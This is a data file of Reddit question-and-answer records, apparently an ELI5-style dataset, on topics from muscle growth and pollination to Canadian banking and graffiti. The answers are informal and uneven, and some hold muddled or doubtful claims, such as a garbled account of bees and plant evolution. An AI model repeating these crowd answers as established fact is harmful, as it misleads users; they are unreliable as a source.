{"q_id": "46k0fs", "title": "i've read that gaining muscle mass is caused by tearing the muscle , so does stretching also do the same ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46k0fs/eli5_ive_read_that_gaining_muscle_mass_is_caused/", "answers": {"a_id": ["d05q4po", "d05qpe1", "d05sbru", "d05wjmv"], "score": [9, 30, 5, 2], "text": ["I think tearing is a misused term applied to muscle mass gain.  Tearing would imply the muscle is being detached from its bony insertion or an intramuscular tear, either of which would be excruciatingly painful and would require long periods of recovery.", "When you contract a muscle, the actin and myosin filaments (two proteins in the muscle cell) overlap in order to shorten the length of the muscle fiber.  Conversely, when you stretch, the whole fiber is lengthened and the actin and myosin get further apart.\n\nDon't get too caught up in the idea of 'tearing'.  It's misleading to call it that, it just sounds romantic to gym warriors.  Protein synthesis is happening in your muscles all the time.", "Tearing only adds scar tissue to muscle. Increasing the mass of functioning muscle requires the muscle to be worked but not damaged.", "When you work out micro tears are caused in the muscle, the actual muscle growth is caused by the reparation of the muscle as your body heals the tears thicker than before. I doubt stretching would put the same amount of stress on the muscle. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "q9kqo", "title": "Does the body store excess dietary fat in the same way and by the same amount as it does excess carbohydrates?  Are there any differences among fats or carbohydrates?  For example, is excess sugar stored the same way or by the same amount as excess high fructose corn syrup? ", "selftext": "I'm thinking of this from the perspective of someone who wants to gain weight.  I am curious whether it would be healthier to gain weight by consuming more calories from healthy fats or by consuming more calories of carbohydrates.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/q9kqo/does_the_body_store_excess_dietary_fat_in_the/", "answers": {"a_id": ["c3vtfa9", "c3vtpry"], "score": [2, 5], "text": ["No, not at all.\n\nExcess sugar is stored as glycogen in muscles and liver and is a very good source of immediate energy. Long term reserves are in fat around heart and all over the body. \n\nAlso, your body can turn sugar into fat and the other way too. It can build most proteins as well. So within reasonable margins, body will process anything into almost everything. Once your glycogen reserves are replenished (they are not big, slightly proportional to mussle tissue ammount), everything will go to fat, doesn't matter how it came.\n\nedit >  If you need to gain weight, one of the best substances is cream. It's got good ratio of everything and it packs a punch.", "High fructose corn syrup IS sugar. It is important to know that there is a difference between sucrose and sugar. Sugar comes in many forms, of which sucrose is one.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aqhht0", "title": "Caries is a bacteria - so why are there no antibiotics against it?", "selftext": " Why are there no antibiotics that kill Streptococcus mutans? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aqhht0/caries_is_a_bacteria_so_why_are_there_no/", "answers": {"a_id": ["eghm138", "egnvokz"], "score": [4, 2], "text": ["So caries are not actually bacteria but they are caused by them:)\n\nFor example Streptococcus mutans commonly causes dental caries and there are effective antibiotics against it\n\nroxithromycin, penicillin, intravenous cephalothin, oral amoxicillin, oral rifampin, and intravenous vancomycin are all commonly used to reduce S. Viridans.\n\n & #x200B;\n\nS.Mutans is not the only bacteria that can cause caries though, just an example.\n\n & #x200B;\n\nEdit: I feel like I may not be answering the underlying question that you had, or maybe that I haven't understood what you were asking very well. So if not let me know!\n\n & #x200B;\n\n & #x200B;\n\n & #x200B;\n\n & #x200B;", "Caries is not a bacteria but rather the result of bacterial colonization, this is why nowadays a lot of dentists say \"caries lesion\" rather than just \"caries\" but that's only if we're being hyper-specific. Anyway the presence of bacteria gradually leads to caries as a result of the metabolized products exhuded by bacterial agents (acids) which interfere with a tooth's remineralization process but also disrupt the structural stability of enamel and dentin.\n\n > Why are there no antibiotics that kill Streptococcus mutans? \n\nFor starters, it's not just S. Mutans that causes caries, it is also S. Sanguinis which is notable for being the first colonizer/first threat.\n\nTo answer your question; Because it wouldn't make a difference. If you brush your teeth, floss and use mouthwash, that already wipes out the bulk of micro-organisms in your oral cavity. Moreover, antibiotics wouldn't really help , given that a human's enamel is not provided with direct irrigation (blood flow) or any method of an antibiotic to reach the surface of a tooth. In fact, antibiotics if too strong, or taken too long, drastically increase the chance of getting a fungal infection called \"Candida albicans\" or \"Oral thrush\".\n\nWe have many antibiotics that can kill S. Mutans, S. Sanguinis, etc.... these are used for , say, an abcess, for bacterial endocarditis (Streptococcus have an affinity for cardiac valves) , etc. but again this doesn't really do anything meaningful when we're talking about the surface of your teeth.\n\nAnd finally, we already have a method to control oral fauna called \"autoclisis\" which is a combination of the tongue, the saliva and the teeth which constantly work together to keep bacteria, fungus, protozoa and other micro-organisms in check.\n\n**NOTE** :\n\nIf there is some day some form of medication to protect your teeth from caries, there is a much higher chance of it being some sort of inoculation rather than antibiotics. Just saying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kqgcz", "title": "How did Saber Tooth Tigers bite things?", "selftext": "Yes I know it looks like a really stupid question. But when I was looking at the skull recently it looks like it would literally be impossible for one to open its mouth wide enough to actually get those long teeth into something. The long teeth also look like it would make it outstandingly hard to eat the animal once it's dead.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kqgcz/how_did_saber_tooth_tigers_bite_things/", "answers": {"a_id": ["cbrncwc", "cbrtzmo", "cbrxm6y"], "score": [86, 48, 4], "text": ["Cats can open their mouths wider than you'd think.\n\n_URL_1_\n\nThey also don't bite directly really, they rip and tear meat and then eat chunks from that. You can see that the 'front teeth' of the sabre-toothed cat here are in front of those big teeth, so they have no problems closing their mouth on food and such.\n\n_URL_0_\n", "This is a good question and the answer is we're not quite sure although we do have some plausible hypotheses. \n\nThe teeth of saber-tooths are very specialized for slicing meat open, even more so than the big cats alive today which can also crush bones to some extent. I find it also important to mention [carnassials](_URL_2_) which are sharp, shearing teeth found in many carnivores. These teeth are on the side of the mouth and basically act like scissors to sever flesh, tendons, and small bones. This is how cats cause such damage to their prey; even in a housecat you can see they chew on the side of their mouths, unlike dogs. \n\nNow, it must be noted that it is *highly unlikely* (really impossible, actually) that saber-tooths would leap onto their prey and sink their teeth into its neck in the same motion, as is the common notion in films. Slight movements in the prey would lead to high risks of teeth breaking which is not ideal at all. \n\nSo since the saber-tooths don't stab their prey to death, what do they do? One model guesses that after prey is taken down with a saber-tooth's claws, it [rips open the abdomen](_URL_1_) to cause massive blood loss and death. Perhaps a group of saber-tooths would take down a wooly mammoth (or other megafauna) and then wait for it to bleed out before feeding. \n\nAnother good hypothesis is that once prey is already held still after being taken down, [a solid bite to the throat would quickly take out the windpipe and arteries](_URL_3_) in many mammals. \n\nHowever prey was finally killed by saber-tooths, we still don't know how exactly they ate their prey! It would be quite different than how modern big cats do it, and that's another mystery!\n\nSource: [Evolution of Felid Teeth](_URL_0_), this is very extensive and well worth the read!", "[This skull is amazing. It's from a separately evolved species of sabre-toothed predator.](_URL_0_)\n\n[The family is Thylacosmilids.](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/nIcFMaQ", "http://imgur.com/k5KpMJa"], ["http://www.mun.ca/biology/scarr/3900_Tooth_evolution.htm", "http://www.mun.ca/biology/scarr/Cats_4-23.gif", "http://en.wikipedia.org/wiki/Carnassial", "http://www.mun.ca/biology/scarr/Cats_4-24.gif"], ["http://en.wikipedia.org/wiki/File:Thylacosmilus_Atrox.jpg", "http://scienceblogs.com/tetrapodzoology/2008/07/04/borhyaenoids-part-three/"]]}
{"q_id": "4vqggi", "title": "how exactly does the bottle flipping work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vqggi/eli5_how_exactly_does_the_bottle_flipping_work/", "answers": {"a_id": ["d60k7p5", "d60kgl4"], "score": [2, 2], "text": ["A bottle with only a little bit of water in it works quite like an arrow. When it's spun, centrifugal force makes the water collect on one end, so it serves as a sort of \"head\" while the empty part is extremely light and subject to air resistance aligning it to the direction of travel, like an arrow's tail. \n\nThat's without counting the conservation of momentum that works with or without air. If the water is evenly distributed in a bottle that starts spinning, then flies out to the ends, it will slow its rotation that way.\n\nSo it only flips for one turn or so before straightening out. If it were allowed to fall for a long distance like from an airplane, it might be a different story, but for trick throws it works well.", "There are several things happening here:\n\n1. The spinning of the bottle, which determines which side of the bottle will be at the lower level.\n\n2. The heavier part of the bottle, which is the side that the water is on, which prevents further spinning of the bottle once it has landed.\n\n3. The fluidity of the water is negated by the outside of the bottle which prevents it from flying away.\n\n4. The forward movement of the bottle when it lands has is close to zero, by throwing it higher. \n\nSo, practice the spinning from where you stand to the place you want it to land and then practice the removal of the forward momentum once it landed and you're in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "187ibe", "title": "Does music sound different on a space station?", "selftext": "Does the lack of gravity affect the perceived quality of sound? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/187ibe/does_music_sound_different_on_a_space_station/", "answers": {"a_id": ["c8cbb1b", "c8cbbda", "c8cbsvm", "c8cd2bp"], "score": [19, 3, 6, 5], "text": ["As far as I can tell, no, it shouldn't. While there is, in fact, a term in the [Navier-Stokes Equation](_URL_0_) that represents the force on the air due to gravity, its effect on acoustic propagation is negligible. If there would be an effect, it would probably have to do with structural noise. One of the ways that vibrational energy leaves a system is that it radiates out as noise. That would be much more difficult with a vacuum surrounding the space station. That said, you would still have other losses, like heat losses, that would cause the vibrational energy to dissipate.", " >  The lack of gravity does not affect the perceived quality of sound?\n\nCompared to a calm day on Earth, the answer is no, because the interior of the spacecraft is pressurized.  On Earth, air pressure is caused by gravity, i.e. by the weight of the air above any given point.  On the space station, air pressure is achieved by pumping air into an enclosed space.  The end result is the same - sound will be the same as in air of similar pressure on Earth.\n\nSound traveling through stable (calm) air is not affected by gravity, because the air is moving very slowly compared to the sound wave's motion through the air.  If there's wind, though, or some other significant air disturbance, that can affect the propagation of a sound wave.  One could argue that gravity has an effect here, because one of the causes of atmospheric weather is the way hot air rises and cold air sinks due to gravity.\n", "Does the lower atmospheric pressure on the ISS make music sound different?", "While I was inclined to just drop a \"of course not - air pressure/density is the only parameter that's significant\" .. that has already been well covered by others.  Instead I'll point you to an article that answers you're question and more. _URL_0_\n\n > While sound reverberates the same way in orbit as it does on Earth, the absence of gravity makes holding and performing with a musical instrument a challenge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Navier\u2013Stokes_equations"], [], [], ["http://www.asc-csa.gc.ca/eng/astronauts/music.asp"]]}
{"q_id": "11iual", "title": "Sources discussing the Spartan Helot System", "selftext": "Hey all.  Writing a paper, and having trouble locating scholarly sources that discuss the interaction between Ancient Spartan society and the role of the Helot class.  In particular, any information on the self perception of Helots, particularly on their unique status as a \"slave nation\" would be particularly helpful.  Anything else would also be appreciated, and may help to give context to the thought processes of Ancient society.  Thanks Historians.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11iual/sources_discussing_the_spartan_helot_system/", "answers": {"a_id": ["c6myw07"], "score": [2], "text": ["Paul Cartledge has quite a bit concerning the Helots in [*Sparta and Lakonia*](_URL_0_) that I used for some of my work at university and if memory serves he's pretty good with sources. I'd suggest starting there and looking at his bibliography.\n\nI don't have access to JSTOR anymore, but I'd be surprised if there isn't a lot of relevant articles on there, if you have access. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.dk/books/about/Sparta_and_Lakonia.html?id=uo4oy1IMQokC&amp;redir_esc=y"]]}
{"q_id": "51uklb", "title": "Do people retain information better depending on the color of light source they're under?", "selftext": "I'm not sure if that's a dumb question or not.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/51uklb/do_people_retain_information_better_depending_on/", "answers": {"a_id": ["d7fedip"], "score": [5], "text": ["I don't think that's dumb at all, rather interesting, but complicated question!\n\nThere's [that](_URL_0_), a study of the effect of \"biological lighting\" on students, so that's close-ish to what you ask..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.osram.com/osram_com/news-and-knowledge/the-biological-effects-of-light---light-means-quality-of-life/scientific-studies-on-the-biological-effects-of-light/study-on-the-effect-of-light-on-the-performance-of-students/index.jsp"]]}
{"q_id": "1imzyz", "title": "how the canadian banking system is able to avoid banking crises and why it's more stable than the us banking system.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1imzyz/eli5_how_the_canadian_banking_system_is_able_to/", "answers": {"a_id": ["cb61ukw"], "score": [10], "text": ["There is actually an incredibly good [paper](_URL_0_) on precisely this subject. Given the paper itself is not ELI5 let me TL;DR and simplify for you;\n\n* Canadian banks are much larger and more diversified (investments cover more markets) as they have relatively few restrictions on their banks growing. As an example of this the top 5 Canadian banks control 86% of total banking assets compared to just 7% for the top 5 in the US. Larger and more diversified banks are inherently more stable.\n* Canada (generally) doesn't bail out its banks while the US does so relatively frequently. There is a market expectation of bailout which creates a perverse market incentive to assume additional risk.\n* There are relatively few Canadian banks compared to the US. There are 49 commercial banks in Canada compared compared with 6,048 FDIC insured commercial banks (which doesn't even account for all of them) in the US.\n* Until fairly recently the US had a problem with chartering such that banks would charter at the state level rather then the federal level making centralized regulation difficult. At the federal level there are also many regulators often with competing agendas so whichever regulator becomes a banks primary determined how effectively they were regulated. After the crisis the Federal Reserve decided it had had enough with the legislative hang-wringing that has allowed SEC to continue to primary regulate (or rather not) investment banks so effectively bribed the remaining two major investment banks to form holding companies and become primary regulated by the Fed. Canada has never had either of these issues.\n* The US regulatory code is convoluted, effectively impossible to enforce due to its size and is not outcome orientated. The Canadian banking regulatory code is 1/27th the size of the US one and instead of detail orientated it is outcome orientated. Outcome orientated means it states a desired outcome rather then how to achieve that outcome, as an example the US has very strong reserve requirements (how much capital banks are required to keep centrally to ensure they can meet obligations) while Canada simply states banks must have sufficient capital on hand to meet obligations. In the first example banks can be poorly capitalized while still meeting reserve requirements, in the second example banks effectively have to prove they are adequately capitalized.\n* Canada never had restrictions on commercial and investment banking co-existing like the US did so a large debt securitization market never existed. Debt securitization is the process which creates Asset Backed Securities, in a situation where commercial banks cannot access investment markets securitization is the alternative way commercial banks access investment capital to continue to issue credit (The process itself was actually invented during the 60's by the federal government via GNMA  &  FNMA). Debt securitization, particularly with other restrictions on the market like financial privacy, is pretty much guaranteed to cause a problem.\n* Canada doesn't directly supervise interbank lending like we do and while there is a lender of last resort terms are much less favorable then they are in the US. In a similar vein the Federal reserve performs dozens of functions as a single organization that should be performed by many organizations to prevent priority problems.\n* (Not from the paper but also important) Canada doesn't use strict Mark-to-Market accounting like we do. If I had to choose the most important policy that resulted in our recent crisis this would be it. Mark-to-market basically means you have to value your assets based on the market value of the assets. For Mortgage Backed Securities this means their value is not the value of the mortgages they represent but the actual market value of the securities themselves. When the MBS market ceased to exist towards the end of 2007 the market price of MBS products became the valuation of a small series of trades in December 2007 which wiped ~80% of the value out of the MBS market instantly.\n* (Not from the paper but also important) Canada doesn't use nearly as much activist fiscal or monetary policy as the US. Activist policy in this sense is policy that attempts to increase an economic metric directly via policy rather then improving the underlying market conditions so it improves naturally. In the last crisis the most important aspect was US housing policy which attempted to push home ownership above the natural market level of home ownership by extending credit to people who could not obtain private credit due to their financial circumstances. An example of this in practice would be the 5% down FHA loans, one of the reasons why the market generally demands 20% down is because its an incredibly good metric of affordability; if someone can sufficiently manage their finances that they can save sufficiently to put 20% down on a house then its far less likely they will default. Canada addresses this problem by simply allowing people to cash in their pensions to purchase their first home while leaving down payments and rates alone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://eh.net/eha/system/files/Bordo.pdf"]]}
{"q_id": "3f68nq", "title": "why do so many graffiti artists vandalize public property rather than direct their energies and talents towards constructive and marketable pursuits?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3f68nq/eli5_why_do_so_many_graffiti_artists_vandalize/", "answers": {"a_id": ["ctlnpoq", "ctloggw", "ctlor83", "ctloubl", "ctlqm4z", "ctlqqcs", "ctlum85", "ctlv8fl", "ctlws93", "ctlxe4r", "ctlxgnc", "ctlxo31", "ctlyg7u"], "score": [9, 39, 2, 2, 12, 2, 2, 5, 3, 2, 2, 3, 34], "text": ["Art is not an easy field to break into, and becoming successful without a formal education is nearly impossible. Street art is a way for artists to get their message out there without the years of art training that could very easily end in obscurity.", "This certainly doesn't apply to all graffiti artists, but some adopt a philosophy that the streets are the medium and that the marketing of art should be opposed on principle. Graffiti artist who commercialize their work may be viewed as having compromised their artistic integrity for profit.", "The sad reality is most street art has little artistic merit.  It looks nice, better than some discolored grey wall, but is doesn't represent any unusual talent that could be applied elsewhere.", "To mess with the premise a bit \u2014 \"Why do so many musicians play on the streets rather than direct their energies and talents towards constructive and marketable pursuits?\"\n\nSome go on to do more marketable things. Like Dublin's [Maser](_URL_0_) \n\n", "I've read a decent out of history on it,but admit I'm no expert. Still here goes:\n\nAs mentioned, art is a hard medium to break into. The initial costs to practice would get pricey with all that canvas,especially at that scale. A brick wall or train car is free. Most famous graffiti artists starts on the streets and get lucrative offers as they gain infamy.\n\n\nThe infamy-really your cred- comes from where you tag or bomb. Bolder spots, like highly trafficked public areas or high hard to reach spots get you noticed, as does covering a large area ( larger urban areas have a term called \"all city\" that refers to basically covering all the major neighborhoods in your city) \n\n The philosophy of graffiti is part rebellion and part the high. Making some cash from it is great, but a lot of artists do it for the rush of potentially getting caught and as a way to show they don't bend to the rules.\n\nTurf-you paint an area, you make it your own. Gangs have a habit of marking areas they consider their territory with tags. Artists do the same, just not with as extreme consequences. \n\nSome places have public graffiti walls, where you can legally paint. Mostly these exist in Europe, although I believe there are a few in the US as well. They aren't a super effective way to curb graffiti but it's a start\n\nSource: read a few books/blogs/used to stencil and belonged to stencil revolution forums for years \n\nEDIT: Just my opinion on one aspect-As someone who followed it a lot, and did my share of stencil, I'll say this: Basic tagging is the worst form of graffiti. It requires little talent and to me doesn't have any artistic value. Any kid can take a sharpie and scribble his tag. Bombing is the real art", "Overall it is difficult to direct art into a profitable, marketable pursuit.\n\n(Also, assuming you are talking about the actual artistic art, not the tagging.)\n\nThere are graffiti artists, paid artists who work on murals and other artwork with spray paint, markers, and related media.  Some people do go that route.  Unfortunately there are few jobs for it. While there may be many of them in a city, and some businesses love the art style, the jobs are not commonplace. \n\nYou can go to art festivals and find amazing spray-paint artwork, and find some vendors selling it, and find some small businesses with amazing artists, but \n\n\nAs for vandals, there have always been vandals. Before spray paint was invented there were vandals. Ancient reports in Rome, Egypt, and other places talk about vandals three thousand years ago. Why do vandals vandalize? For many reasons, usually related to free time, ignorance and lack of social awareness. Less often, out of anger or hatred or destructive impulse.", "My friend does this all the time. He's fairly well recognized in the area. We were walking through an alley last night and he just started writing his little logo on trash cans. He said it's a compulsive tic at this point, he doesn't even know why he does it. ", "i love it when i ask wannabe graffiti kids if i can come to their house and tag up the outside of it...they get so pissed and dont understand the point im making. its ok for them to deface private property as long as it isnt their own? fuck you", "For many street artists, the urban landscape is the only medium through which they could express themselves at a young age. For street artists, as with any skilled artistic endeavor, one usually has to begin practicing at quite a young age if they want to hone their skills. Just as Raphael began doodling models (most likely when he popped out of his mother) his early dedication/schooling allowed him to become a great artist, which then provided fame and wealth. The same can be said for such street artists as Shepard Fairey, Banksy, Swoon, Os Gemeos, Roa, Faith47; in which they all started out on the streets tagging with either bought or stolen cans. The act of doing graffiti (vandalism intertwined with street art) was simply a means to an end, the end being artistic prowess. If you were to ask any famous street artist, of which there are many today that have achieve financial success through either mural commissions or venturing into the gallery scene, they started on the streets, with little money to buy any kind of art supplies. In honing their skills at a young age, the artists had no other way to artistically express themselves than tagging--- > throw-ups--- > pieces. While there are certainly a-holes out there  that vandalize just for the sake of it, many artists used this time to develop their skills and ideas. In short, I believe that graffiti can be broken down into 2 fields: one being used as a means to an end, and the other being an end within itself. The later being dedicated to those hoping to bolster their ego/gang recognition with no true desire to develop their art. Also noteworthy is that there are many world renowned artists that began their artistic careers \"vandalizing\" on the streets, 2 of them being Jean-Michele Basquiat and Keith Haring. These 2 would belong to the former field of vandals.", "It's hard to find venues to display their talents. If you want to see some constructive ways to direct graffiti talent go look at the Under Pressure - International Graffiti Convention. My friend started it years ago and now, well it speaks for itself. \n\nFor the lazy: _URL_0_", "this is one of those situations where if you have to have it explained you still won't get it. \nthe best thing I can think of is trying to get a cat to believe that chasing a ping pong ball with a feather on it is better than slaying a living creature. both aught to be fun but one is SO much lamer than the other", "I understand the negative effect graffiti has when it's on billboards, public buildings etc, but I'm not sure why anyone cares when it's underneath a bridge or in a remote location that normal passerbys never even see it. ", "I have been writing graffiti for 23 years.\n\nThe base act of writing your name on a wall comes from the idea of making a personal mark in public that you identify with later. You can go out into your neighbourhood and see a physical change that you made. You can take that boring bus ride to school and see your name, as well as names of others, sometimes friends, sometimes unknowns. There is mystery when you first start. You are now part of an underground society. This is cool, and very appealing. You now see other spots where you can put your name. There is the rush of doing something illegal. You start to get addicted to this feeling, and there are always new spots, blank walls. Like with everything, there are all kinds. Some thrive on the vandalism, the destruction. Others thrive on getting better and creating beautiful, unique handstyles. This progresses into painting pieces, some illegal, some legal. Most kids get into graffiti in their teens, at a time when building an art career is not even on your radar. Some kids only realize that they have an artistic interest or talent from getting involved in graffiti. Most fall off after a year or two, trying out something they see as cool, but then moving on to the most current trend or fashion. But some, as they get older, and get better, branch out into other art forms, perhaps pursue some formal education. Of those, some find a creative career, or more difficult, a career as an actual artist. And as all in the art world, some make it big, most don't.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://maserart.com/about"], [], [], [], [], [], ["http://underpressure.ca"], [], [], []]}
{"q_id": "8h2y0z", "title": "How did flowers and plants reproduce before there existed bees?", "selftext": "Wow! I didn\u2019t expect this to blow up but thank you for all the answers! \n\nAlso, I was watching the bee movie when this question popped into my head;)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8h2y0z/how_did_flowers_and_plants_reproduce_before_there/", "answers": {"a_id": ["dygtz9h", "dygxx8p", "dygyu1o", "dygyzwh", "dygz8ap", "dyh01as", "dyhcdnk", "dyi59dc"], "score": [31, 2903, 4, 15, 10, 3, 10, 2], "text": ["The way that plants get pollinated is based largely on the type of plant and the ecosystem. \n\nThere are types of plants that can pollinate themselves or use the wind to carry their pollen to other plants. In the same vein, there  are other insects that can pollinate plants other than bees, but again this depends on the ecosystem. \n\nHoney bees themselves are a little percentage of pollinator insects. As a matter of fact, they are actually an invasive species that intrude on the other pollinators. ", "Flowering plants and pollinating insects, such as bees, [co-evolved somewhen between 140-110 million years ago](_URL_0_).\n\nThere are several different main categories of large plant, gymnosperms and angiosperms.  Gymnosperms came before angiosperms and are \"non-flowering\"  they include conifers, cycads, and ancient lineages such as ginkos and podocapus.  These plants generally pollinate by wind, dumping immense loads of pollen into the air and letting the wind carry it to the female receptacles on other plants, or self-pollinating in some cases.  Gymnosperms evolved around 320 million years ago, with indications that the lineage was emerging around 380 million years ago.\n\nIt's interesting to note that [there *may* be evidence of animal pollination already taking place in gymnosperms](_URL_4_) as early as 320 to 300 million years ago.  One line of evidence for this is pollen grains that appear to be too large to be wind transported.\n\nAngiosperms are the flowering plants and the first true ones evolved around 160 million years ao, but split from gymnosperms long before that, around 245-200 million years go.  Flowering plants didn't become widespread until around 120 million years ago, which is right when we see the evidence of co-evolution in the first research paper linked above.  This suggests that the pairing of insect pollinators with flowering plants was vital to their success in spreading across the planet.\n\nThat still leaves a gap of some 40 million years, but there is evidence to suggest that the [*Lichnomesopsyche gloriae* fly had already adapted to drink nutritious 'ovulate fluids'](_URL_5_) from gymnosperm reproductive organs (can't really call it nectar since they're not technically flowers) and made an easy switch over to angiosperms when they evolved 160 million years ago.  So, from the very beginning it appears that there was a potential insect pollinator waiting in the wings to take advantage of a new niche, possibly many different ones.\n\nIt's also important to note that despite insects being the most well known pollinators (not just bees, but flies, mosquitoes, beetles, moths, butterflies, etc, etc) many *other* animals also pollinate flowers, including birds, bats, monkeys, marsupials, lemurs, bears, rabbits, deer, rodents, and, importantly for this discussion, reptiles.\n\nLizards, especially [geckos and skinks can play an important role in pollinating plants](_URL_1_).  This is seen in [various places around the world](_URL_3_).  This suggests there were certainly other animal pollination vectors potentially available for early flowering plants, especially if some of these non-arthropod animals were already taking advantage of the nutrients available in gymnosperm reproductive bodies.\n\nAnd there is, of course, still wind pollination and self pollination, but it seems that [wind pollination for flowering plants may have evolved after animal pollination](_URL_2_).  Wind pollination requires both wind and a relatively dry climate, part of the reason why it's not seen very often in wet tropical forests.\n\nTL/DR:  there were already species pre-adapted to pollinate flowering plants when they evolved and there was a rapid co-evolution of flowing plants and insect pollinators, as well as potential non-insect pollinators present.\n\nEDIT:  oh, hey, thanks for the Au!", "I read somewhere that the large plant family that includes magnolia trees evolved with large flower parts to be pollinated by beetles.\n\n\"Magnolia is an ancient genus. Appearing before bees did, the flowers are theorized to have evolved to encourage pollination by beetles.\" - _URL_0_", "An excellent question.  Thank you for asking.  Wind pollination, for starters, which is how non-angiosperms (ferns and gymnosperms, ie cycads, pines, cypress trees) tend to be pollinated.  At least among vascular plants.  Many mosses, as I understand it, tend to rely on water droplets to get their spores from one sex to the other.  But a number of plants are self fertile.\n\nIt's actually probable that the flowers evolved first.  It's important to note that many don't attract bees at all: one of the the most basal angiosperms, so basal it's neither a monocot or a dicot, Magnolia, attract carrion beetles as pollinators by smelling [to them] like rotting meat, a tactic used by a number of other plant families, too.  However, showier flowers tend to attract a wider diversity of pollinators, like bees, flies, butterflies, moths, or even bats.  Some flowers have developed nectaries to further encourage pollinators to come down.  A little weed that pops up in North America, *Linaria canadensis*, Canadian Toad Flax, dusts the head of pollinators that land on its petals.  A personal favorite flower, the Bee Orchid is self fertile (and prefers to reproduce that way), but its flowers often attracts male bees in overlapping territories by emitting scents that smell like a female bee's pheromones -- the bee gets tricked with a pseudo-sexual reward, but it's another way of attract pollinators.\n\nBees, though, seem to have evolved from wasps that got a taste for nectar.  They and other things were already attracted to the flower, but the nectaries drove the evolution of an entire lineage of specialized pollinators.  \n", "A lot of early plants, such as ferns, don't need flowers to reproduce, and use spores. Many plants also clone themselves and drop \"baby\" plants beneath them. Sometimes roots and stems can break off and grow new plants. Sometimes they send out vines that take root somewhere else. And as others said, even for flowering plants, anything that contacts both flowers can pollinate it. Heck, some flowers self-pollinate!", "If we are going way back, the earliest plants were most likely be algea like and water borne so currents would take care of spreading them around. But since you were probably talking about land based plants, they developed at about the same time which makes sense. Plant needs bug to reproduce and bug needs plant for food. It becomes more and more specialized until you have flowers where only certain types of hummingbirds can even reach the necter/pollen. \n\nHere is an article that elaborates a bit more.\n\n_URL_0_", "Initially most plants either basically copyed itself like grass. or put massive amounts of pollen in the air. But over millennia plants slowly evolved to use animals to help them reproduce, either through hitchhiking (seeds with spikes to stick to fur) or pollination. \n\nEventually those that cloned themselves lost prevalence as disease is easily transmitted by genetically indistinct plants and often a single infection can wipe out a species. And without rapid entropic transportation they dominate only a single area they are adapted for and exclusively for. \n\nThose that spread pollen on the wind have to use massive amounts of energy to create large amounts of pollen otherwise there is almost no chance of reproduction as wind is chaotic and can sometimes be slow for weeks. And to do this they must go through cycles of storing energy, growing going dormant, spreading pollen \nUsing remanding energy to grow and regain their leaves. The use of sexual reproduction allows for greater distance traveled and because the plants are farther away they are less related and create greater genetically diverse offspring but require routine weather they have evolved to work with and a sudden change can ruin their lifecycle.\n\nA few spicies of plants had a animal take a liking to them (often for food) but in the process carry the pollen to hopefully another of the plant. These plants slowly evolved to create less pollen and instead put more sugar into their nectar to attack insects as these animals as small enough to notice and access the nectar but fast enough to travel great distances  and because the bugs were small they didn\u2019t kill the plants.\n\n\nCenturies later Europeans brought bees around the world as they use the nectar to create honey that lasts and is more nutrient dense than raw nectar useful for rearing young that happens to be edible for humans. Eventually we helped bee colonies to grow and overtake the numerous pollenating insects leading to the initial lack of genetic diversity that caused asexual reproducers to lose prevalence!", "I would like to add that bees (the ones we know commonly like the ones in the movie) were introduced to america and aren't native polinators. They are esentially to many species of human foods along with some other insects but are not in fact vital to wild flowers or even a majority of flowers or native plants as the movie implies. Many polinators suffer greatly due to the number of bees in the country and in that respect they could be considered invasive and destructive foreign insects. \n\nOur fear of losing them is overblown to nature but would cost possibly hundreds of thousands of lives (billions perhaps globally I'm not sure on exact numbers/prevelence of their use in other countries etc) due to starvation as food crops die out. Some 80% of human produce are polinated by bees and many keppers rent out their hives to farmers it would be absolutely detrimental to human society to lose them. But the planet itself would be fine. And perhaps thrive more with fewer people taxing the ecocosy system as a whole given our consumption and numbers currently. Many introduced flowers and plants would suffer as well such as European roses. And the flowers featured in the movie "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.sciencedirect.com/science/article/pii/S096098221300256X", "https://www.tandfonline.com/doi/pdf/10.1080/0028825X.1987.10410078", "https://www.sciencedirect.com/science/article/pii/S0169534702025405", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3241579/", "http://science.sciencemag.org/content/326/5954/808.full?rss=1", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3260766/"], ["https://en.wikipedia.org/wiki/Magnolia"], [], [], ["https://en.m.wikipedia.org/wiki/Evolution_of_insects"], [], []]}
